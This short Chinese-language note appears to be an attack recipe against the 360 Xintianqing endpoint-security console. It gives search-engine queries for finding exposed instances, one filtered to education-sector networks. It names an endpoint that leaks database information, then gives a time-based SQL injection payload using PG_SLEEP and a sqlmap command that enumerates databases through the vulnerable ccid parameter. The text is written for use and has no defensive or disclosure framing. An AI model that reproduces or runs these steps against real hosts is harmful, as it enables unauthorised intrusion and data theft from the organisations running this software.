title="360新天擎"
web.title="360新天擎"&& ip.isp="教育"
路由后拼接/api/dbstat/gettablessize
比较推荐的方式先测试是否存在数据库信息泄露，存在的话大概率存在SQL注入
路由后拼接/api/dp/rptsvcsyncpoint?ccid=1
{{Hostname}}/api/dp/rptsvcsyncpoint?ccid=1';SELECT PG_SLEEP(5)--
python .\sqlmap.py --batch -dbs -u https://{{Hostname}}/api/dp/rptsvcsyncpoint?ccid=1